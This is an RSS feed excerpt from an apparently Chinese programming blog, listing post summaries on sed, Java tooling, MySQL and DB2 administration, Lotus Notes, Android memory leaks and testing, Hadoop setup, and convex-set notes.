&#39;$s/原字符串/替换字符串/g&#39; //替换最后一行 sed &#39;2,5s/原字符串/替换字符串/g&#39; //替换2到5行 sed &#39;2,$s/原字符串/替换字符串/g&#39; //替换2到最后一行 替换样式可以多个在同一条命令中执行,用分号”;”分隔,例如: 复制代码 代码如下: sed &#39;s/^/添加的头部&amp;amp;/g；s/$/&amp;amp;添加的尾部/g&#39; //同时执行两个替换规则 sed处理过的输出是直接输出到屏幕上的,要保存可以将输出重定向,或者使用参数”i”直接在文件中替换: 复制代码 代码如下: sed -i &#39;s/原字符串/替换字符串/g&#39; filename //替换文件中的所有匹配项 复制代码 代码如下: sed -i &#39;s/原字符串/替换字符串/g&#39; filename //替换文件中的所有匹配项 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++&#xA;首先是Sed里使用变量的问题</description>
    </item>
    <item>
      <title>Notepad&#43;&#43;直接编译运行Java</title>
      <link>https://bchobby.github.io/posts/81f7adeb270073c20553b7cc36c618e1/</link>
      <pubDate>Fri, 12 Feb 2016 17:20:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/81f7adeb270073c20553b7cc36c618e1/</guid>
      <description> 安装Notepad++和JDK（略）；Notepad++的菜单栏：插件-&amp;gt;Plugin Manager-&amp;gt;Show Plugin Manager，Available中勾选NppExec，点击Install按钮。按F6或者 菜单栏：插件-&amp;gt;NppExec-&amp;gt;Execute，输入以下代码： NPP_SAVE javac.exe &#34;$(FILE_NAME)&#34; java.exe &#34;$(NAME_PART)&#34; 如图示：&#xA;点击 Sava 按钮，命名为Java编译加执行，点击 Sava 按钮，点击 OK 关闭对话框。&#xA;4. 菜单栏： 插件-&amp;gt;NppExec，勾选Follow $(CURRENT_DIRECTORY).&#xA;5. 按下F6，出现以下对话框：&#xA;点击 OK 或者直接回车，便开始编译并执行程序：&#xA;6. 关于UTF-8打印中文字符时的报错：&#xA;HelloWorld.java:6: 错误: 编码GBK的不可映射字符 System.out.println(&#34;鏈?灏忓?硷細Byte.MIN_VALUE=&#34;); 解决方法为把上面的脚本代码修改为：&#xA;NPP_SAVE javac.exe -encoding UTF-8 &#34;$(FILE_NAME)&#34; java.exe &#34;$(NAME_PART)&#34; 参考文献：&#xA;把Notepad++打造成一个轻量级的Java学习工具&#xA;解决 java “错误：编码GBK 的不可映射字符” </description>
    </item>
    <item>
      <title>服务器选型参考TPC-C值</title>
      <link>https://bchobby.github.io/posts/667ff432c7bb30d11137130369ab7857/</link>
      <pubDate>Thu, 11 Feb 2016 15:19:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/667ff432c7bb30d11137130369ab7857/</guid>
      <description>经常需要在一些项目中进行服务器选型，看到这篇文件，比较实用，留作参考。 在大型呼叫中心项目中，服务器的选型有一定技巧。 怎样选择既符合系统要求，又不过分浪费资源的服务器？其中，还是有章可循的。 ibm 6h1企业级服务器的性能指标对照表 cpu数量 1cpu 2cpu 4cpu 6cpu tpc-c值 9510 20310 34410 56130 ibm m85企业级服务器的性能指标对照表 cpu数量 2cpu 4cpu 6cpu 8cpu tpc-c值 19500 34590 50790 66750 以支持400-500线路接入，人工座席数规模在80-120之间的银行呼叫中心为例，如果从节省投资、保证系统可用性角度考虑，可以将数据库服务器、应用服务器、CTI服务器集成在同一个服务器群集中。 根据经验，每天的交易的大部分会发生在中午前后的几个小时内，以每天10万笔交易流水计，假定全天业务的80%集中在4小时之内，那么系统的峰值交易量（每分钟）：100000×80%/（4×60）≈330笔/分钟。 这部分CPU工作时间还要包括一部分处理系统任务的时间，一般按照20%计算。那么，给数据库操作剩余的CPU工作时间是80%。 系统的TPC-C值应达到：4950/（70%×80%）=8839。 再考虑三年以后的增长情况（按20%每年递增），应用服务器要求的系统TPC-C值就是： 由于设计方案是将应用服务器、数据库服务器和CTI服务器分别运行在两台主机上，这两台主机互为热备份，考虑到极端情况下（一台服务器不能工作）三个服务器都要在一台主机上运行，还要有一部分CPU时间用于处理应用服务器和CTI服务器的工作。 如果要求最大支持400-500条线路接入，可以按比例得出系统要求的TPC-C值2400×2=4800。系统开销仍然按照占CPU时间20%计算，那么，主机的TPC-C值应该是：4800×（1-20%）=3840。这是CTI服务器要求的系统开销。考虑到三年以后的增长情况（按20%每年递增），CTI服务器要求的系统开销就是： 3840×（1+20%）3=6635 在选择应用服务器时，通常，对于支持200条线路接入的呼叫中心，使用的应用服务器的配置是F80，配置单颗CPU，系统的TPC-C值为6900。同样地，按比例能够很快得出该系统应用服务器的TPC-C值应为6900×2=13800。 将数据库服务器、应用服务器、CTI服务器要求的系统TPC-C值加到一起是：15273+11446+6635=33354。有了TPC-C值，就可以通过查询企业级服务器的性能指标对照表，确定目标系统的主机机型和CPU的数量。例如：从表中可以看到4颗CPU的配置情况下，6H1服务器和M85服务器的TPC-C值都可以满足性能要求。 保证冗余结构是关键 在规模较大的呼叫中心系统，由于IVR服务器、CTI服务器、数据库服务器、应用服务器是关键应用，一旦出现故障将影响整个系统的运行，因此要采取冗余技术来避免单点故障。 考虑到IVR服务器支持DTX插卡的数量限制等因素，应将DTX插卡分布到2台以上的服务器上以实现冗余。如果条件许可，就可以考虑将工作负载较重的数据库服务器单独放在一台服务器上，而将应用服务器、CTI服务器放在另一台服务器上。两台服务器互为热备份，当一台服务器出现故障时，另一台服务器可以将故障服务器上的应用全部接管过来，继续运行。这种方案可以将服务停止时间减小到10分钟以内，将系统停机造成的损失减小到最小程度。</description>
    </item>
    <item>
      <title>sqlite3 join</title>
      <link>https://bchobby.github.io/posts/7b019b2270ee756fdaac9b20d4547e5e/</link>
      <pubDate>Thu, 04 Feb 2016 17:03:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7b019b2270ee756fdaac9b20d4547e5e/</guid>
      <description> sqlite3 定义了三种主要类型的连接：&#xA;交叉连接 - CROSS JOIN （笛卡尔积 x*y）&#xA;内连接 - INNER JOIN (默认是内连接, inner 可以省略, 左右表都满足条件才显示)&#xA;外连接 - OUTER JOIN (sqlite3只支持 Left连接， 用右表来匹配左表，即每一行先从左表拿一条数据，再去右表找，右表没有找到，右表的项显示空，但是左表还是会显示) </description>
    </item>
    <item>
      <title>Lotus开发之Lotus Notes中域的验证</title>
      <link>https://bchobby.github.io/posts/f8558fd38c908544c3ec6a47d5f24800/</link>
      <pubDate>Wed, 03 Feb 2016 18:05:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f8558fd38c908544c3ec6a47d5f24800/</guid>
      <description>一：介绍 Lotus中的域主要有以下的类型：文本，日期/时间，对话框列表，复选框，单选按钮，RTF等等。Lotus中域的验证方式有很多种公式，lotusscript，javascript等。如果你使用notes开发c/s的程序，使用公式，ls会很方便，但是如果你是一个b/S的程序员，你会发现notes所有的公式和ls都是运行在服务器端的，此时你在使用公式，ls不但会占用server的资源，而且给用户的体验也是不好的，所以我们推荐使用js来做验证.&#xA;二：Domino对域的解析&#xA;对于LotusScript，除了Rich-Text域外的元素，如文本、单选框、列表框、复选框等，你可以用几乎相同的代码取得它们的值。例如：如果有一个“Location”域，不论它是何种类型，你都可以用下面的LotusScript代码取得它的值：&#xA;fieldVals = doc.Location&#xA;或者这样：&#xA;fieldVals = doc.GetItemValue(&#34;Location&#34;)&#xA;在LotusScript中，域的类型对于你要取值（值数组）的代码并不重要。但是在JavaScript中，不同类型的域除了显示选项（比如单选框、复选框或者文本）外，并不像在Notes里那样，它们是不同的类型的对象，每一个都要用不同的方式去引用。其实，那也不是绝对的，有些对象是相似的，但是引用过程并不像在LotusScript里那么流畅。&#xA;在JavaScript中，没有所谓的Rich-Text域，在HTML中更没有。Notes里提供了一个可以放在浏览器里的富文本Java（不是JavaScript）小程序，从而可以得到富文本的一些功能，但是你并不能用JavaScript来对它编程，而且它也不是一个真正的HTML对象类型。 更让Notes开发人员惊讶的是，在Web上还没有数字型或时间型的域。HTML的域都是文本型的。尽管你能用它们来收集数字信息，如数量或单价，而保存的数据依然是文本。为了像数字一样使用它，你必须把它转换成数字类型。另一个区别是在Web上没有计算域，但并不意味着你不能在你的表单里加入计算域。你可以加入计算域，计算值将会在Web页中显示，除非域是隐藏的。关键是即使域就在那里显示，而HTML通常的处理是没有定义域。如果你把test域改成计算域而不是可编辑的，在测试时你会发现其值是取不到的，我们可以对比下计算域和可编辑域生成的html代码：&#xA;计算域的时候生成的代码（js是取不到值的）：&#xA;&amp;lt;form method=&#34;post&#34;&#xA;action=&#34;https://bchobby.github.io/weboa/ggxx/Dinner.nsf/test?OpenForm&amp;amp;amp;Seq=1&#34; name=&#34;_test&#34;&amp;gt;&#xA;&amp;lt;input type=&#34;hidden&#34; name=&#34;__Click&#34; value=&#34;0&#34;&amp;gt;dddddddd&#xA;&amp;lt;br&amp;gt;&#xA;&amp;lt;input type=&#34;button&#34; οnclick=&#34;alert(document.forms[0].test.value);&#xA;&#34; value=&#34;test&#34;&amp;gt;&#xA;&amp;lt;/form&amp;gt; 非计算域时候客户端生成的代码：&#xA;&amp;lt;form method=&#34;post&#34;&#xA;action=&#34;https://bchobby.github.io/weboa/ggxx/Dinner.nsf/test?OpenForm&amp;amp;amp;Seq=1&#34; name=&#34;_test&#34;&amp;gt;&#xA;&amp;lt;input type=&#34;hidden&#34; name=&#34;__Click&#34; value=&#34;0&#34;&amp;gt;&#xA;&amp;lt;input name=&#34;test&#34; value=&#34;dddddddd&#34;&amp;gt;&#xA;&amp;lt;br&amp;gt;&#xA;&amp;lt;input type=&#34;button&#34; οnclick=&#34;alert(document.forms[0].test.value);&#xA;&#34; value=&#34;test&#34;&amp;gt;&amp;lt;/form&amp;gt;&#xA;多值域&#xA;HTML的域没有Notes的域那样的多值属性。可以试一下：在表单上加入第二个按钮和第二个域。把域命名为“Letters”，类型为可编辑文本，选中“允许多值（Allow multiple values）”复选框。将默认值写成如下的字母列表：&#xA;&#34;A&#34;:&#34;B&#34;:&#34;C&#34;:&#34;D&#34;:&#34;E&#34;:&#34;F&#34;:&#34;G&#34;&#xA;把按钮命名为“Get multiple values”并键入如下的JavaScript代码：&#xA;alert(document.forms[0].Letters.value);&#xA;你可以用不同的分隔符来改变此域的值，但是当你单击按钮时，你会注意到，不论你用什么分隔符，提示你的总是域的所有值。这和在Notes客户端中运行的@Formulas和LotusScript形成了对比。用@Prompt，你得到的提示只是域的第一个值：“A”。你用LotusScript同样也只能显示一个值，但是你要指定数组下标，否则将得到一个错误提示。公式和LotusScript都不能在提示语句中得到多值域的所有值。&#xA;原因就是，在Notes的语言中，确实有多个值在域中。对于HTML和JavaScript来说，只有一个值。再次看Web页面的源代码你会发现和下面类似的代码：&#xA;&amp;lt;input name=&#34;Letters&#34; value=&#34;A;B;C;D;E;F;G&#34;&amp;gt;&#xA;注意它的值是用“一对”双引号引起来的带分隔符的值。&#xA;单选按钮&#xA;另一个有趣的地方是单选按钮，就Notes和Web页面而言，Notes里的单选按钮是一个有多个值的单个域，在Web上是同名的输入文本框的数组。为了理解以上所述，请看下面的例子：&#xA;在表单上，加入另一个新域，名字为“RadioButtn”。正像它的名字一样，把它改成单选框类型的域。在域属性窗口的第二个标签中，输入下列选项和别名&#xA;One | A</description>
    </item>
    <item>
      <title>Undokumentierte @Formeln/LotusScript im Lotus Notes Client/Server</title>
      <link>https://bchobby.github.io/posts/e262e2ddb93c6eea083d24c63d857199/</link>
      <pubDate>Wed, 03 Feb 2016 18:04:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e262e2ddb93c6eea083d24c63d857199/</guid>
      <description>Erstellung von Replik-IDs mittels @Text-Funktion&#xA;@Text( @Now; &#34;*&#34; )&#xA;SourceNoPersist option in SetProfileField/GetProfileField:&#xA;@SetProfileField([NoPersist];&#34;Value to store&#34;;@Username)&#xA;This is a neat flag used to set variables in a virtual profile document - it doesn&#39;t really exist. It&#39;s kind of like an environment variable, except instead of writing to Notes.ini, you&#39;re writing to a temporary client session cache. This only works in the UI between windows in the same database for the life of the current session.</description>
    </item>
    <item>
      <title>Andriod-内存泄露-分析-解决方案</title>
      <link>https://bchobby.github.io/posts/b3b71e4a0ca244480e03193601e7afae/</link>
      <pubDate>Wed, 03 Feb 2016 10:15:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b3b71e4a0ca244480e03193601e7afae/</guid>
      <description>Activity 泄漏 我们第一个需要修复的问题就是 Activity 泄漏，我们先来看看内存泄漏是怎么发生的。 Activity 泄漏通常是内存泄漏的一种。为什么会泄漏呢？如果你持有一个未使用的 Activity 的引用，其实也就持有了 Activity 的布局，自然也就包含了所有的 View。最棘手的是持有静态引用。别忘了，Activity 和 Fragment 都有自己的生命周期。一旦我们持有了静态引用，Activity 和 Fragment 就不会被垃圾回收器清理掉了。这就是为什么静态引用很危险。&#xA;m_staticActivity = staticFragment.getActivity() 我看过太多次这样的代码了。&#xA;另外，泄漏 Listener 也是经常会发生的事情。比如说，我有下面的代码。LeakActivity继承自Activity，我们有一个单例：NastyManager，当我们通过 addListener(this) 将 Activity 作为 Listener 和 NastyManager 绑定起来的时候，不好的事情就发生了。&#xA;public class LeakActivity extends Activity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); NastyManager.getInstance().addListener(this); } } 想要修复这样的 Bug，其实相当简单，就是在你的 Acitivity 被销毁的时候，将他和 NastyManager取消掉绑定就好了。&#xA;@Override public void onDestroy() { super.onDestroy(); NastyManager.getInstance().removeListener(this); } 相对上面的解决方案，我们自然还有更好的。比如我们真的需要用到单例吗？通常，并不需要。不过某些时候可能真的很需要。我们得权衡和设计。不过无论如何，记住，当 Activity 销毁的时候，在单例中移除掉对 Activity 的引用。下面我们讨论下： 如果是内部类，会发生什么？比如说，我们有一个在 Activity 里有一个很简短的非静态 Handler。</description>
    </item>
    <item>
      <title>Android-黑科技-微信抢红包必备软件</title>
      <link>https://bchobby.github.io/posts/1bdd40c562f9db35b1d6e15505e37fe2/</link>
      <pubDate>Tue, 02 Feb 2016 16:57:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1bdd40c562f9db35b1d6e15505e37fe2/</guid>
      <description> 黑科技微信抢红包&#xA;介绍：&#xA;本节类容和技术无太大关系，主要是个人觉得比较好玩，年关将至，对于新起之秀微信红包，绝对是过年首选，看到就是赚到，速速围观下载。目前只支持Android设备，ios土豪就不用了。&#xA;特性 监视选项任意组合，满足多样化的使用需求[?]&#xA;提供了系统通知/聊天列表/聊天页面三档选项，无论是想要谨慎不被察觉，还是想要高效志在必得，这个插件如你所愿。&#xA;不仅快人一步，红包识别更加智能&#xA;多种特征标识，聊天时不再重复点击红包。智能过滤红包关键字[?]，避免落入“专属红包”、“抢到翻倍”的陷阱。&#xA;紧跟微信更新，内置最新春节红包资讯&#xA;第一时间适配最新版本微信，应用内即可一键更新。&#xA;轻量、安全、值得信赖&#xA;安装包仅1M，无需ROOT，下载即用。代码公开透明，活跃的社区讨论，数万用户下载，值得你的信赖。&#xA;源码： 如果有想学习的同学可以下载源码： https://github.com/geeeeeeeeek/WeChatLuckyMoney apk下载地址：https://github.com/geeeeeeeeek/WeChatLuckyMoney/releases/ </description>
    </item>
    <item>
      <title>Android测试-脚本测试-Monkey 的用法</title>
      <link>https://bchobby.github.io/posts/9ce53a45e9e989be684968fe25e9a48e/</link>
      <pubDate>Fri, 29 Jan 2016 15:13:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9ce53a45e9e989be684968fe25e9a48e/</guid>
      <description>Monkey用法 Monkey 是一个命令行工具，可以运行在 Android 模拟器里或真实设备中。它可以向系统发送伪随机(pseudo-random)的用户事件流(如按键输入、触摸屏输入、手势输入等)，可以对待测的目标应用或整个 Android 系统进行压力测试。因此 Monkey 测试是一种为了测试软件的稳定性、健壮性的快速有效的方法 基本语法：&#xA;1 $ adb shell monkey [options] &amp;lt;event-count&amp;gt; 如果不指定options，即类似于使用命令adb shell monkey 1000，那么将会对整个系统中安装的 package 发送事件流，换种说法就是对整个 Android 系统进行 Monkey 压力测试&#xA;这是一个对指定应用（Android自带的系统设置应用）进行 Monkey 测试的例子，发送的事件流数目为1000：&#xA;1 adb shell monkey -p com.android.settings 1000 Monkey 命令选项 获取选项列表，Android 4.4版本中输入adb shell monkey,会显示选项列表如下：&#xA;1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 usage: monkey [-p ALLOWED_PACKAGE [-p ALLOWED_PACKAGE] .</description>
    </item>
    <item>
      <title>ssh时出现@@@@@@@@</title>
      <link>https://bchobby.github.io/posts/fda134d9171f2dda53444fb80baaa92a/</link>
      <pubDate>Mon, 25 Jan 2016 18:52:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fda134d9171f2dda53444fb80baaa92a/</guid>
      <description>若在ssh ip时，出现&#xA;[root@stu22 ~]# ssh 172.16.1.28&#xA;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&#xA;@ WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED! @&#xA;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&#xA;IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY!&#xA;Someone could be eavesdropping on you right now (man-in-the-middle attack)!&#xA;It is also possible that the RSA host key has just been changed.&#xA;The fingerprint for the RSA key sent by the remote host is&#xA;da:77:fc:e7:30:2d:28:cb:45:db:06:c2:24:74:4c:c0.&#xA;Please contact your system administrator.&#xA;Add correct host key in /root/.</description>
    </item>
    <item>
      <title>DB2联邦重点</title>
      <link>https://bchobby.github.io/posts/9f12f8397123ac92339075f91c4c994c/</link>
      <pubDate>Thu, 21 Jan 2016 21:31:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9f12f8397123ac92339075f91c4c994c/</guid>
      <description>为什么80%的码农都做不了架构师？&amp;gt;&amp;gt;&amp;gt; DB2联邦重点 1.用户信息存储在syscat.useroptions中。通过create user mapping建立本地用户和远地用户的对应。 2.pass-through session:&#xA;直接把请求通过wrapper传给远程数据库。这样的话就可以不用nickname直接访问远端的表了。 3.indexes只有在建立nickname的时候才会在global catalog中建立条目。之后的index不会自动同步。 4.主要涉及的几个对象&#xA;wrappers&#xA;server definitions and options&#xA;user mappings&#xA;nicknames 5.wrapper一般运行在db2fmp中。 6.查看有哪些wrapper：&#xA;db2 “select substr(wrapname,1,16) as name,wraptype,wrapversion,substr(library,1,16) as library,substr(remarks,1,16) as remarks from SYSCAT.WRAPPERS ” 查看wrapper的属性（列式显示）：&#xA;db2 “select substr(wrapname,1,16) as name, option,setting from SYSCAT.WRAPOPTIONS” 7.查看有哪些server：&#xA;db2 “select substr(wrapname,1,16) as wrapname,substr(servername,1,16) as servername,servertype,serverversion,substr(remarks,1,16) as remarks from SYSCAT.SERVERS” 查看erver的属性（列式显示）：&#xA;db2 “select substr(wrapname,1,16) as wrapname,substr(servername,1,16) as servername,servertype,serverversion,create_time,substr(option,1,16) as option,substr(setting,1,16) as setting,substr(remarks,1,16) as remarks from SYSCAT.</description>
    </item>
    <item>
      <title># 从零开始搭建Hadoop2.7.1的分布式集群</title>
      <link>https://bchobby.github.io/posts/f3d917159c48f0f764c0ca82959c5443/</link>
      <pubDate>Sun, 17 Jan 2016 21:49:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f3d917159c48f0f764c0ca82959c5443/</guid>
      <description>Hadoop 2.7.1 (2015-7-6更新)，Hadoop的环境配置不是特别的复杂，但是确实有很多细节需要注意，不然会造成许多配置错误的情况。尽量保证一次配置正确防止反复修改。&#xA;网上教程有很多关于Hadoop配置的，但是每一个教程都对应了一个版本信息，有一些教程也存在很大的问题，配置环境，系统环境都没说清楚。在此我将记录下来从零搭建Hadoop2.7.1的过程，以及搭建过程中所遇到的一些问题。&#xA;一 操作环境说明 1.1 ：操作系统： window8.1&#xA;1.2 ：虚拟机版本：VMware12&#xA;二 材料准备 2.1 ubuntu-14.10-desktop-amd64.iso (Ubuntu 光盘映像)&#xA;2.2 jdk-8u65-linux-x64.gz (Java 环境包)&#xA;2.3 hadoop-2.7.1.tar.gz (Hadoop 环境包)&#xA;三 搭建开始 3.1 Vmware 创建虚拟机&#xA;根据Hadoop的调度规则，我们将使用VMware 12 加载 ubuntu….iso来创建三个Ubuntu 虚拟机。创建用典型安装即可，以下是虚拟机的一些信息&#xA;虚拟机1：Master Ubuntu 14.10 64bit 虚拟机2：Slave1 Ubuntu 14.10 64bit 虚拟机3：Slave2 Ubuntu 14.10 64bit 以下操作将需要在所有配置机器上进行&#xA;3.2 解压文件&#xA;将jdk-8u65-linux-x64.gz 和hadoop-2.7.1.tar.gz 拷贝到3台虚拟机的一个文件夹中。我这里拷贝到了Home/Download文件夹中, 然后右键选择 Extract Here. (当然也可以zxvf) 3.3 配置JAVA&#xA;把jdk-8u65-linux-x64 重命名为jdk-8u65-linux-x64.tar.gz 并右键Extract Here，生成文件jdk 1.8.0_65&#xA;打开终端输入命令: sudo mkdir /usr/lib/jvm sudo cp -r Downloads/jdk1.</description>
    </item>
    <item>
      <title>反射（三）获取对象属性及值</title>
      <link>https://bchobby.github.io/posts/83c350c3c12e9f6bc66d591f5576fd52/</link>
      <pubDate>Sat, 09 Jan 2016 17:31:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/83c350c3c12e9f6bc66d591f5576fd52/</guid>
      <description>package com.ygl.reflect; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; public class ReflectTest { public Object copy(Object object) throws IllegalArgumentException, InstantiationException, IllegalAccessException, InvocationTargetException, SecurityException, NoSuchMethodException{ //使用对象的getClass()方法,前提先有对象实例 Class&amp;lt;?&amp;gt; clazz=object.getClass(); Object objectcopy=clazz.getConstructor(new Class[]{}).newInstance(new Object[]{}); Field[] fields=clazz.getDeclaredFields(); for(Field field:fields){ String name=field.getName(); String firstLetter=name.substring(0,1).toUpperCase(); String getMethodName=&#34;get&#34;+firstLetter+name.substring(1);//从第1位直到最后所有字符 String setMethodName=&#34;set&#34;+firstLetter+name.substring(1);//从第1位直到最后所有字符 Method getMethod=clazz.getMethod(getMethodName, new Class[]{}); Method setMethod=clazz.getMethod(setMethodName, new Class[]{field.getType()}); //执行对象的方法获取返回值 Object value=getMethod.invoke(object, new Object[]{}); setMethod.invoke(objectcopy, new Object[]{value}); } return objectcopy; } public static void main(String[] args) throws SecurityException, NoSuchMethodException, IllegalArgumentException, InstantiationException, IllegalAccessException, InvocationTargetException { Customer customer=new Customer(&#34;</description>
    </item>
    <item>
      <title>intellij idea导出jar包</title>
      <link>https://bchobby.github.io/posts/79e00c31f11302a4705566489684bf86/</link>
      <pubDate>Mon, 04 Jan 2016 11:50:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/79e00c31f11302a4705566489684bf86/</guid>
      <description> 比如写了个工具包，导出多个工具的jar包。&#xA;现在又写了个新的工具 叫preload_resources&#xA;步骤：&#xA;1.建立 too/preload_resources 文件夹。 （这个用来放Manifest File）&#xA;2. intellij idea——&amp;gt; Project structure——&amp;gt; Artifacts——&amp;gt;加号——&amp;gt;jar——&amp;gt;Empty——&amp;gt;添加个jar包 preload_resources 3. output Layout——&amp;gt;加号——&amp;gt;Extracted directory——&amp;gt;弹出对话框中选择用到的lib库&#xA;4.output Layout——&amp;gt;加号——&amp;gt;Module output——&amp;gt;弹出对话框中选择用到的module&#xA;5.在Main Class中写入工具的主类 全名 dy.tools.ToolPreLoadResourcesApp&#xA;6.intellij idea——&amp;gt;Build——&amp;gt;Build Artifacts——&amp;gt;preload_resources——&amp;gt;rebuild&#xA;在工程目录下找到——&amp;gt;out——&amp;gt;artifacts——&amp;gt;preload_resouces——&amp;gt;preload_resouces.jar包&#xA;在命令行下输入：&#xA;java -jar preload_resources.jar 工具就执行了。 </description>
    </item>
    <item>
      <title>如何修改mysql数据库编码</title>
      <link>https://bchobby.github.io/posts/e0c710215c7bad60006643eae9a70672/</link>
      <pubDate>Mon, 04 Jan 2016 10:29:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e0c710215c7bad60006643eae9a70672/</guid>
      <description>修改字符集的方法，就是使用mysql的命令 mysql&amp;gt; SET character_set_client = utf8 ; mysql&amp;gt; SET character_set_connection = utf8 ; 使用 mysql&amp;gt; SHOW VARIABLES LIKE &#39;character%&#39;;查看，发现数据库编码均已改成utf8 +--------------------------+---------------------------------+ | Variable_name | ＆#118alue | +--------------------------+---------------------------------+ | character_set_client | utf8 | | character_set_connection | utf8 | | character_set_database | utf8 | | character_set_filesystem | binary | | character_set_results | utf8 | | character_set_server | utf8 | | character_set_system | utf8 | | character_sets_dir | D:&#34;mysql-5.0.37&#34;share&#34;charsets&#34; | +--------------------------+---------------------------------+ mysql&amp;gt; SHOW VARIABLES LIKE &#39;collation_%&#39;; +----------------------+-----------------+ | Variable_name | ＆#118alue | +----------------------+-----------------+ | collation_connection | utf8_general_ci | | collation_database | utf8_general_ci | | collation_server | utf8_general_ci | +----------------------+-----------------+ 或者打开mysql安装目录，里面有个my.</description>
    </item>
    <item>
      <title>mysql导出数据不输出标题行</title>
      <link>https://bchobby.github.io/posts/23393a2b071f5932546b1278c111e7f4/</link>
      <pubDate>Mon, 04 Jan 2016 10:29:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/23393a2b071f5932546b1278c111e7f4/</guid>
      <description> 当想使用数据库中的某些数据，想将其导入到文件中，而想去掉第一行的标题是可以加上-N参数 如通过下面命令导出数据： mysql -uuserName -ppasswd -hhost -Pport -Ddatabase -e &#34; select * from tableName&#34; &amp;gt; exportResult.txt 结果为： studentid studentname 1 denny 2 candy 3 noboy ... 如下不想要第1行，即studentid studentname这个表示字段的标题行，可以通过如下方式导出： mysql -N -uuserName -ppasswd -hhost -Pport -Ddatabase -e &#34; select * from tableName&#34; &amp;gt; exportResult.txt 加一个-N参数即达到目的 </description>
    </item>
    <item>
      <title>select into outfile access deny问题</title>
      <link>https://bchobby.github.io/posts/9d5efc3ff3685e87e60d094690f237de/</link>
      <pubDate>Mon, 04 Jan 2016 10:29:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9d5efc3ff3685e87e60d094690f237de/</guid>
      <description>本文转自：http://hatemysql.com/2010/06/29/select-into-outfile-access-deny%E9%97%AE%E9%A2%98/ 为应用建立了rnd的帐号，专门为他们查询线上数据库用的，当然，只有他们上了生产网络以后才能连上数据库，安全方面我们还是很注意的，呵呵。 授权的语句如下： grant select on armory.* to rnd; flush privileges; select查询数据没有问题，但是有的用户有了更多的需求，他想把数据导出来，简单的处理的话，可以用select into outfile导出来。自己指定字段的分隔，行分隔等等。 但是用户一查询就报：access deny的错误，权限不对。 rnd@localhost : armory 09:26:31&amp;gt; select * into outfile ‘/tmp/1.txt’ from os limit 5; ERROR 1045 (28000): Access denied for user ‘rnd’@&#39;%’ (using password: NO) 郁闷的是MySQL没有说缺少了那个权限。 在本机测试了一下， grant all on armory.* to rnd; flush privileges; 给rnd所有的权限以后，还是报权限错误。这个就奇怪了，所有的权限都给它了，还报错？不可理喻阿。 实在搞不定，最后让用户： mysql -urnd -p -e ‘select * from os limit 5;’ &amp;gt;1.txt 的变通方法。 一直被这个纠结着，突然后来有一天，查询了一下MySQL的文档，找到是file的权限没有加上去，但是当时MySQL对应的库的所有权限我都加上去了阿。灵光一闪，file是全局的权限，在MySQL中对单个库是没有这个权限概念的，所以就算我把库上的所有权限给了rnd，file的权限其实还是没有附权给它的。不信的话，我们这就试试： root@localhost : (none) 09:55:14&amp;gt; grant file on armory.</description>
    </item>
    <item>
      <title>[笔记] 最优化方法 - 凸集</title>
      <link>https://bchobby.github.io/posts/cc9b9497229f0bd93226f66ec61627e1/</link>
      <pubDate>Sat, 02 Jan 2016 21:22:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cc9b9497229f0bd93226f66ec61627e1/</guid>
      <description>凸集的定义、性质 设 S⊆En ，若对 ∀x(1),x(2)∈S 及 ∀λ∈[0,1] ，都有 λx(1)+(1−λ)x(2)∈S ，则称 S 为凸集。&#xA;设S1和 S2 是两个凸集， β 实数，则 - βS1={βx∣x∈S1} 是凸集 - S1+S2={x(1)+x(2)∣x(1)∈S1,x(2)∈S2} 是凸集 - S1−S2={x(1)−x(2)∣x(1)∈S1,x(2)∈S2} 是凸集 - S1⋂S2 是凸集&#xA;极点和极方向的定义 极点&#xA;设 S 是非空集合，x∈S，若 x 不能表示成S中两个不同点的凸组合，即若假设 x=λx(1)+(1−λ)x(2) ，必推出 x=x(1)=x(2) ，则称 x 是凸集S的极点。&#xA;方向&#xA;设S S 是闭凸集，dd为非零向量，如果对S S 中的每一个xx，有\{ x + \lambda d \mid \lambda \ge 0 \} \subset S {x+λd∣λ≥0}⊂S ，则称d d 是SS的方向。&#xA;设d^{(1)}和d^{(2)}是S的两个方向，若对任何正数\lambda，有d^{(1)} \neq \lambda d^{(2)}，则称d^{(1)}和d^{(2)}是两个不同的方向。&#xA;设S = \{ x \mid Ax = b, x \ge 0 \} \neq \emptyset，d是非零向量，则d是S的方向 \iff d \ge 0且Ad = 0。</description>
    </item>
    <item>
      <title>Jmeter介绍</title>
      <link>https://bchobby.github.io/posts/9f117258c8156ced0b999207dad58278/</link>
      <pubDate>Thu, 31 Dec 2015 15:00:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9f117258c8156ced0b999207dad58278/</guid>
